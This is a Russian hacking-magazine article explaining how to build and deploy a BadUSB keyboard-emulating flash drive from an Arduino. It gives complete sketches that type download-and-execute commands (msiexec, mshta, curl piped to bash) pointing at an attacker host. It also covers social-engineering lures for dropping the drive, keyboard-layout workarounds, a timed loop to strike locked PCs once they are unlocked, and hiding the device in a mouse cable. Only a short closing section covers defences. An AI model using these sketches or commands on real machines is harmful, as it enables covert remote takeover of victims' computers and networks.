Хакер - Очень плохая флешка. Разбираем атаку BadUSB в деталях

Хакер - Очень плохая флешка. Разбираем атаку BadUSB в деталях


s0i37

Содержание статьи

  • Теория
  • Аппаратная часть
  • Программная часть
  • Атака на разблокированные компьютеры
  • Атака на заблокированный компьютер
  • Защита

Об ата­ках BadUSB «Хакер» уже не­однократ­но писал. Сегод­ня мы раз­берем кон­крет­ный при­мер реали­зации такой ата­ки, под­робно опи­шем устрой­ство вре­донос­ной флеш­ки, при­ведем записан­ный на нее код и обсу­дим, как зас­тавить поль­зовате­ля Windows или Linux под­клю­чить ее к сво­ему компь­юте­ру.

BadUSB — это целое семей­ство атак на USB-порт, при которых под­клю­чаемое устрой­ство выда­ет себя за дру­гой девайс, нап­ример:

  • HID-устрой­ство (кла­виату­ра или мыш­ка);
  • Ethernet — сетевая кар­та;
  • Mass storage (съем­ный накопи­тель).

На­ибо­лее инте­рес­ны пер­вые два вари­анта. В сегод­няшней статье мы рас­смот­рим вари­ант с HID-устрой­ством, а в сле­дующей — с сетевой кар­той. Вари­ант с HID-устрой­ством — это одна из нем­ногих физичес­ких атак, тре­бующих соци­аль­ного фак­тора, то есть успех зависит от дей­ствий поль­зовате­ля. Одна­ко я вижу еще одно при­мене­ние, не тре­бующе­го явно­го учас­тия челове­ка. Но обо всем по поряд­ку.

INFO

Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак. Пре­дыду­щая статья серии: «Кро­кок­ряк. Сни­маем тра­фик с витой пары обыч­ными „кро­коди­лами“».

ТЕОРИЯ

Итак, BadUSB-HID — это ата­ка, при которой под­клю­чаемое к пор­ту USB устрой­ство зап­рограм­мирова­но, как кла­виату­ра (реже — как мышь), но при этом таковой не явля­ется. И имен­но в обманчи­вос­ти внеш­него вида и кро­ется эле­мент соци­аль­ной инже­нерии.

Са­мый популяр­ный форм‑фак­тор такого устрой­ства — флеш­ка. Но, учи­тывая неболь­шие габари­ты самого девай­са, оно может быть встро­ено куда угод­но — будь то веб‑камера или даже USB-про­вод (O.MG Cable). Под­ходящую фор­му устрой­ства зада­ет кон­текст, пос­коль­ку выбор дол­жен быть опти­маль­ным в той или иной ситу­ации.

Ми­ниатюр­ное устрой­ство с кон­трол­лером кла­виату­ры сра­зу пос­ле под­клю­чения выпол­няет про­изволь­ные нажатия кла­виш. Воз­можность заранее зап­рограм­мировать эти самые нажатия обыч­но исполь­зует­ся для вво­да той или иной коман­ды ОС с помощью соот­ветс­тву­ющих горячих кла­виш, нап­ример Win-R или Alt-F2.

BadUSB-HID — это ата­ка:

  • на раз­бло­киро­ван­ные ПК — под­бра­сыва­ние флеш­ки и мгно­вен­ный RCE; ата­ка тре­бует при­ман­ки для поль­зовате­ля, что­бы тот под­клю­чил устрой­ство к ПК;
  • заб­локиро­ван­ные ПК — незамет­ное под­клю­чение флеш­ки и отло­жен­ный RCE; ата­ка тре­бует незамет­ного раз­мещения устрой­ства и отсутс­твие кон­тро­ля над ата­куемой машиной в момент под­клю­чения.

В каж­дом слу­чае мы име­ем шанс получить RCE, а зна­чит, игра явно сто­ит свеч. При этом сама ата­ка обла­дает край­не высокой ско­ростью, так как нажатия про­изво­дят­ся дос­таточ­но быс­тро. Впол­не воз­можно, поль­зователь даже ничего не заметит.

АППАРАТНАЯ ЧАСТЬ

На мой взгляд, реша­ющий фак­тор при реали­зации девай­са BadUSB-HID — это его дешевиз­на и прос­тота про­изводс­тва. Пос­коль­ку харак­тер исполь­зования под­разуме­вает под­бра­сыва­ние таких фле­шек, для нас это ста­новит­ся рас­ходным матери­алом.

Нес­коль­ко прос­тых и извес­тных решений для эму­ляции кон­трол­лера кла­виату­ры пред­став­лены в сле­дующей таб­лице.

За­чем заказы­вать дорогие и прив­лека­ющие вни­мание решения вро­де hak5 (с логоти­пом Rubber Ducky), ког­да все мож­но соб­рать самому и за мень­шую сто­имость? Если все сде­лать пра­виль­но, нам не будет жал­ко рас­сыпать где‑нибудь с десяток таких «фле­шек».

Впол­не оче­вид­ным выбором ста­нет пла­та семей­ства Arduino. Она недоро­га, и еще одно пре­иму­щес­тво в том, что ее дос­таточ­но прос­то купить в спе­циали­зиро­ван­ных магази­нах элек­тро­ники внут­ри стра­ны, то есть в крат­чай­ший срок.

Лич­но для меня куда боль­шей проб­лемой ока­залось раз­добыть кор­пус. Но, воз­можно, если в тво­ем городе нет под­ходящих магази­нов, будет про­ще при­обрести самую дешевую флеш­ку под­ходящих габари­тов и извлечь ее содер­жимое, оста­вив толь­ко кор­пус. Либо же рас­печатать кор­пус на 3D-прин­тере.

Так как боль­шая часть плат Arduino идет с micro-USB-интерфей­сом, необ­ходимо перепа­ять разъ­ем под клас­сичес­кий USB-ште­кер, пос­коль­ку во флеш­ку с нес­тандар­тным интерфей­сом поль­зователь вряд ли поверит. Сама пла­та при этом конс­трук­тивно может быть не прис­пособ­лена под пай­ку ште­кера USB-A, поэто­му мож­но прик­репить его к кор­пусу флеш­ки с помощью клея, а саму пла­ту уже при­паять парой жес­тких про­водов. Тог­да уси­лие при извле­чении флеш­ки пой­дет на ее кор­пус, а не на саму пла­ту.

Что­бы слег­ка умень­шить ширину пла­ты, мож­но отпи­лить пару мил­лимет­ров с каж­дого края в области допол­нитель­ных кон­тактов — они нам не понадо­бят­ся. В ито­ге мы смо­жем умес­тить нашу Arduino Pro Micro в клас­сичес­кий кор­пус для флеш­ки, как показа­но на сле­дующем рисун­ке.

Кла­виату­ра в кор­пусе флеш­ки

А вот так ата­кующая флеш­ка выг­лядит в соб­ранном виде.

Кла­виату­ра и флеш­ка

Сло­вом, желатель­но, что­бы у нашего устрой­ства было минимум отли­чий от обыч­ной флеш­ки. К сожале­нию, самая мей­нстри­мовая пла­та Arduino Pro Micro не опре­деля­ется в Windows 7 и ниже без «дров», но сей­час «десят­ка» встре­чает­ся уже куда чаще. Если необ­ходима сов­мести­мость с Windows 7 и ниже, то сле­дует при­обрести более дорогую пла­ту Teensy либо что‑то ана­логич­ное. Впол­не веро­ятно, что на момент проч­тения этой статьи появят­ся более под­ходящие аппа­рат­ные решения. 

ПРОГРАММНАЯ ЧАСТЬ

Бла­года­ря встро­енно­му заг­рузчи­ку Arduino под­держи­вает мно­гок­ратную переп­рошив­ку, так что мож­но записы­вать в нее коман­ды пов­торно под каж­дую кон­крет­ную ситу­ацию. По сути, мы будем заливать лишь поль­зователь­ский прик­ладной код.

Прог­раммы, или скет­чи (в нотации Arduino), ком­пилиру­ются под AVR-про­цес­сор и про­шива­ются через USB пос­редс­твом все той же прог­раммы Arduino:

apt install arduino

arduino

При работе с эму­ляци­ей кла­виату­ры на Arduino мы при­меня­ем при­мер­но сле­дующий API:

void setup(){ // Код, выполняющийся только один раз при подключении устройства по USB

Keyboard.begin(); // Включаем режим контроллера клавиатуры

delay(2000); // Пауза в миллисекундах

Keyboard.press(KEY_LEFT_SHIFT); // Зажать клавиши

Keyboard.press(KEY_RETURN);

delay(100);

Keyboard.releaseAll(); // Отпустить зажатые клавиши

Keyboard.print("cmd /c evil command"); // Набрать текст на клавиатуре

Keyboard.write(KEY_RETURN); // Нажать клавишу

}

void loop(){ delay(3600000); something(); } // Код, выполняющийся постоянно

Как толь­ко код написан, про­исхо­дит ком­пиляция и залив­ка прог­раммы в кон­трол­лер:

  • Сер­вис → Пла­та: Arduino Micro
  • Сер­вис → Пос­ледова­тель­ный порт: /dev/ttyACM0
  • Файл → Заг­рузить

Ес­ли все прош­ло успешно, то через нес­коль­ко секунд флеш­ка перезаг­рузит­ся и выпол­нит все зап­рограм­мирован­ные нажатия пря­мо на тво­ем ПК. Но, понят­ное дело, эти нажатия кла­виш будут далеко не прос­тые... 

АТАКА НА РАЗБЛОКИРОВАННЫЕ КОМПЬЮТЕРЫ

Дан­ная ата­ка была кра­сиво про­демонс­три­рова­на в сери­але Mister Robot, ниже ты можешь полюбо­вать­ся кад­ром из это­го филь­ма.

Фи­зичес­кая соци­аль­ная ата­ка BadUSB в дей­ствии

Суть ата­ки зак­люча­ется в том, что­бы поль­зователь подоб­рал под­бро­шен­ную нами флеш­ку и под­клю­чил к сво­ему компь­юте­ру, который рас­положен, воз­можно, где‑то глу­боко в кор­поратив­ной или даже про­мыш­ленной сети. Пос­ле того как флеш­ку вста­вят в USB-порт, она выпол­нит залитый в нее код пос­редс­твом зап­рограм­мирован­ных нажатий кла­виш, что впос­ледс­твии откро­ет уда­лен­ный дос­туп зло­умыш­ленни­ку.

Как мы пом­ним, наше USB-устрой­ство — не то, чем ожи­дает его уви­деть поль­зователь. В дан­ном слу­чае поль­зователь пред­полага­ет, что это обыч­ный съем­ный диск, но вне­зап­но это кла­виату­ра...

Как упо­мина­лось ранее, эта ата­ка тре­бует соци­аль­ной инже­нерии. Вот нес­коль­ко при­меров сце­нари­ев, поз­воля­ющих усы­пить бди­тель­ность потен­циаль­ной жер­твы:

  • по­сыл­ка или кон­верт с флеш­кой переда­ется через ресеп­шен, нап­ример руководс­тву;
  • флеш­ка под­бра­сыва­ется любопыт­ному поль­зовате­лю в поч­товый ящик или воз­ле офи­са;
  • флеш­ка переда­ется нап­рямую под видом кли­ента (в слу­чае если ком­пания при­нима­ет информа­цию на флеш­ках).

Те­перь нем­ного о том, какие имен­но нажатия кла­виш нуж­но выпол­нять и как с их помощью быс­тро и гаран­тирован­но выпол­нить код. Да такой, что­бы получить потом уда­лен­ный дос­туп. Самый корот­кий спо­соб — запус­тить RAT (remote administrative tool), то есть уста­новить на компь­ютер бэк­дор. Нап­ример, так:

msiexec /i http://rce.attacker.tk/shell.msi /quiet

mshta http://rce.attacker.tk/shell.hta

curl -L http://rce.attacker.tk/1.sh|bash

Каж­дая из при­веден­ных команд (в зависи­мос­ти от ОС) встро­енная, мак­сималь­но корот­кая и авто­мати­чес­ки за одно дей­ствие ска­чива­ет и запус­кает код по про­токо­лу HTTP (луч­ше HTTPS).

Пе­ред ата­кой потен­циаль­ный взлом­щик, ско­рее все­го, не будет рас­полагать исчерпы­вающей информа­цией о сетевых огра­ниче­ниях из локаль­ной сети в сто­рону интерне­та. И нет стоп­роцен­тной гаран­тии, что сетевое под­клю­чение от компь­юте­ра жер­твы дос­тигнет сер­вера уда­лен­ного управле­ния. Но исполне­ние перечис­ленных выше команд запус­кает чет­кую пос­ледова­тель­ность дей­ствий, отсле­жива­ние которых даст ата­кующе­му дос­таточ­ный объ­ем информа­ции:

  1. Пос­коль­ку мы задали адрес сер­вера по име­ни, будет выпол­нен DNS-зап­рос. Сис­тема DNS — рас­пре­делен­ная, и зап­рос с компь­юте­ра жер­твы, как пра­вило, будет отправ­лен в любом слу­чае. Если мы исполь­зуем собс­твен­ную DNS-зону, делеги­рован­ную на наш под­кон­троль­ный сер­вер, то мы уви­дим дан­ный зап­рос в логах. Это будет сиг­налом того, что флеш­ка была под­клю­чена и RCE про­изо­шел. Тем не менее это не гаран­тиру­ет, что сетевой дос­туп воз­можен.
  2. Ес­ли выход в интернет из кор­поратив­ной сети никак не огра­ничен, то на сер­вер зло­умыш­ленни­ка при­дет HTTP-зап­рос, который так­же мож­но будет уви­деть в логах. Это будет сиг­налом того, что сетевое соеди­нение воз­можно и мы смо­жем уда­лен­но управлять ском­про­мети­рован­ным узлом. Тем не менее это не гаран­тиру­ет, что защит­ные механиз­мы ОС допус­тят непос­редс­твен­ное исполне­ние прог­раммы уда­лен­ного управле­ния.
  3. По­лучен шелл. Ата­ка прош­ла успешно.

Да­же если ата­ка не увен­чает­ся успе­хом, у ата­кующе­го будет информа­ция о пра­вилах дос­тупа в интернет с компь­юте­ров поль­зовате­лей и об их осве­дом­леннос­ти о подоб­ного рода инци­ден­тах. Подоб­ная информа­ция может исполь­зовать­ся при пов­торных ата­ках.

На сле­дующем рисун­ке вид­но, что сра­зу пос­ле под­клю­чения флеш­ки откры­вает­ся окно «Выпол­нить» и в этом окне вво­дит­ся коман­да, ска­чива­ющая и запус­кающая прог­рамму уда­лен­ного управле­ния с сер­вера зло­умыш­ленни­ка.

Флеш­ка в дей­ствии

В резуль­тате все­го через нес­коль­ко секунд пос­ле под­клю­чения флеш­ки и запус­ка ею бэк­дора потен­циаль­ный зло­умыш­ленник смо­жет уда­лен­но управлять сис­темой со все­ми вытека­ющи­ми пос­ледс­тви­ями.

Что­бы мак­сималь­но сох­ранить ано­ним­ность при выпол­нении подоб­ной ата­ки и не раз­гла­шать адрес сво­его сер­вера, мож­но вос­поль­зовать­ся пуб­личны­ми сер­висами, поз­воля­ющи­ми залить что угод­но, а потом ска­чать это по про­токо­лу HTTP, нап­ример paste.c-net.org или ix.io.

При реали­зации этой ата­ки на ком­пах неан­гло­гово­рящих поль­зовате­лей воз­ника­ет допол­нитель­ная проб­лема — в ОС может быть акти­виро­вана не латин­ская рас­клад­ка кла­виату­ры, нап­ример рус­ская. Если набор нажатий будет про­изве­ден не в латин­ской рас­клад­ке, то ата­ка сор­вется.

В подоб­ной ситу­ации для выпол­нения пра­виль­ных нажатий мож­но исполь­зовать два под­хода:

  • вы­пол­нять нажатия «как есть», потом перек­лючить язы­ковую рас­клад­ку и пов­торить нажатия;
  • ис­поль­зовать ALT-коды (три‑четыре нажатия для каж­дой бук­вы), изме­нить ста­тус кла­виши NumLock и пов­торить нажатия.

Од­нознач­но выиг­рышно­го спо­соба нет. В одном слу­чае мы дол­жны уга­дать рас­клад­ку кла­виату­ры, в дру­гом — акти­вацию ее циф­ровой час­ти. Какой вари­ант исполь­зовать — решать каж­дому. Ско­рость набора дос­таточ­но высокая, и нет раз­ницы с ALT-кодами, но скетч‑файл Arduino име­ет более читабель­ный вид при клас­сичес­ком наборе, поэто­му выберем этот вари­ант.

Ата­ка BadUSB плат­формен­но незави­сима, поэто­му наряду с Windows мож­но ата­ковать и Linux, и даже Mac. Вот уни­вер­саль­ный скетч для ата­ки рабочих стан­ций Windows/Linux:

void windows_run() {

Keyboard.press(KEY_LEFT_GUI);

Keyboard.press('r');

delay(250);

Keyboard.releaseAll();

Keyboard.print("msiexec /i http://rce.attacker.tk/1.msi /quiet");

delay(100);

Keyboard.write(KEY_RETURN);

}

void linux_run() {

Keyboard.press(KEY_LEFT_ALT);

Keyboard.press(KEY_F2);

delay(250);

Keyboard.releaseAll();

Keyboard.print("curl -L http://rce.attacker.tk/1.sh|bash -");

delay(100);

Keyboard.write(KEY_RETURN);

}

void rce() {

windows_run();

delay(100);

linux_run();

delay(100);

}

void switchLang() {

Keyboard.press(KEY_LEFT_SHIFT);

Keyboard.press(KEY_LEFT_ALT);

delay(100);

Keyboard.releaseAll();

Keyboard.press(KEY_LEFT_SHIFT);

Keyboard.press(KEY_LEFT_CTRL);

delay(100);

Keyboard.releaseAll();

}

void setup() { // Будет выполнено при подключении устройства в USB

Keyboard.begin();

delay(2000);

rce();

switchLang();

rce();

}

Вне зависи­мос­ти от ОС на ата­куемой машине при­веден­ный выше скетч через нажатия кла­виш на дос­таточ­но высоких ско­рос­тях выпол­нит две коман­ды — для Windows и Linux соот­ветс­твен­но. Пос­ле чего перек­лючит язы­ковую рас­клад­ку дву­мя спо­соба­ми и пов­торит коман­ды еще раз. В ито­ге мы име­ем четыре попыт­ки выпол­нения команд: две, что­бы уга­дать ОС, и две, что­бы уга­дать язы­ковую рас­клад­ку.

АТАКА НА ЗАБЛОКИРОВАННЫЙ КОМПЬЮТЕР

По­мимо фун­кции setup(), выпол­няющей­ся при под­клю­чении устрой­ства, Arduino име­ет пре­доп­ределен­ную фун­кцию loop(), которая выпол­няет­ся в бес­конеч­ном цик­ле.

Идея сос­тоит в том, что нажатия мы будем ини­цииро­вать не толь­ко в момент под­клю­чения к ПК, вмес­то это­го мы будем пов­торять их в каж­дый заранее выб­ранный про­межу­ток вре­мени:

void setup() { // Будет выполнено при подключении устройства по USB

Keyboard.begin();

delay(2000);

rce();

switchLang();

rce();

}

void loop(){ delay(3600000); setup(); } // Постоянно выполняющийся код (каждый час)

Та­ким обра­зом, флеш­ку мож­но незамет­но вста­вить в заб­локиро­ван­ный компь­ютер и зап­рограм­мировать ее на отправ­ку нажатий не сра­зу, а каж­дые N часов или минут, что­бы пой­мать момент, ког­да машина будет раз­бло­киро­вана (отло­жен­ный RCE). Пока ПК залочен, все нажатия будут ухо­дить в поле вво­да пароля и про­падать, то есть ата­ка будет про­ходить фак­тичес­ки бес­след­но.

Форм‑фак­тор компь­юте­ра может сыг­рать на руку зло­умыш­ленни­ку. В сис­темный блок, зад­винутый в пыль­ный тем­ный угол, дос­таточ­но лег­ко что‑то незамет­но вста­вить, да еще и так, что потом годами ник­то это­го не заметит. Дру­гое дело — ноут­бук, который всег­да перед гла­зами. Но даже если все USB-пор­ты ата­куемо­го компь­юте­ра на виду у поль­зовате­ля, от него все рав­но могут тянуть­ся какие‑то про­вода (мышь, кла­виату­ра и про­чее), так что мож­но «вкли­нить­ся», нап­ример, в под­клю­чен­ную мышь под сто­лом, раз­дво­ив и вста­вив исходный про­вод в неболь­шой USB-хаб с BadUSB-флеш­кой, как показа­но на сле­дующем рисун­ке.

BadUSB-HID как скры­тая кла­виату­ра посере­дине

По сути, такое устрой­ство дела­ет бес­полез­ными все попыт­ки обес­печить безопас­ность с помощью бло­киров­ки компь­юте­ра, к которой все так при­вык­ли. Ведь однажды в оставлен­ный без прис­мотра ноут­бук может быть встав­лено такое устрой­ство. И неваж­но, был залочен комп или нет, BadUSB-флеш­ка будет пытать­ся выпол­нить нажатия (читай — про­изволь­ный код) с пери­одич­ностью в нес­коль­ко минут, часов или дней. И рано или поз­дно неп­ремен­но нас­тупит момент, ког­да ПК будет раз­лочен. Тог­да вре­донос­ный код выпол­нится, ата­кующий получит уда­лен­ный дос­туп и внут­ренняя сеть ком­пании ока­жет­ся ском­про­мети­рован­ной.

ЗАЩИТА

По­жалуй, луч­шей защитой тут мож­но счи­тать спе­циали­зиро­ван­ные прог­рам­мные решения, раз­реша­ющие под­клю­чение толь­ко заранее утвер­жден­ных устрой­ств из спис­ка (white list). У каж­дого USB-устрой­ства сущес­тву­ет свой уни­каль­ный VendorID и ProductID, перечень которых ука­зыва­ется в white list. Все осталь­ные USB-устрой­ства, вклю­чая и BadUSB-флеш­ки, не будут опоз­наны ОС. Эта мера прек­расно защища­ет не толь­ко от опи­сан­ной выше ата­ки, но и от ряда дру­гих и в целом спо­соб­на убе­речь рабочие компь­юте­ры от мас­сы нежела­тель­ных пос­ледс­твий.

Обу­чать пер­сонал, что­бы повысить его осве­дом­ленность в воп­росах информа­цион­ной безопас­ности, тоже не будет лиш­ним, так как ата­ка BadUSB глав­ным обра­зом соци­аль­ная и поль­зовате­ли сами соз­дают угро­зу, под­клю­чая нез­накомое устрой­ство к сво­им компь­юте­рам. Так­же руково­дите­лям ком­паний мож­но рекомен­довать пери­оди­чес­ки осматри­вать рабочие мес­та сот­рудни­ков и про­верять, не под­клю­чены ли пос­торон­ние устрой­ства.


Report Page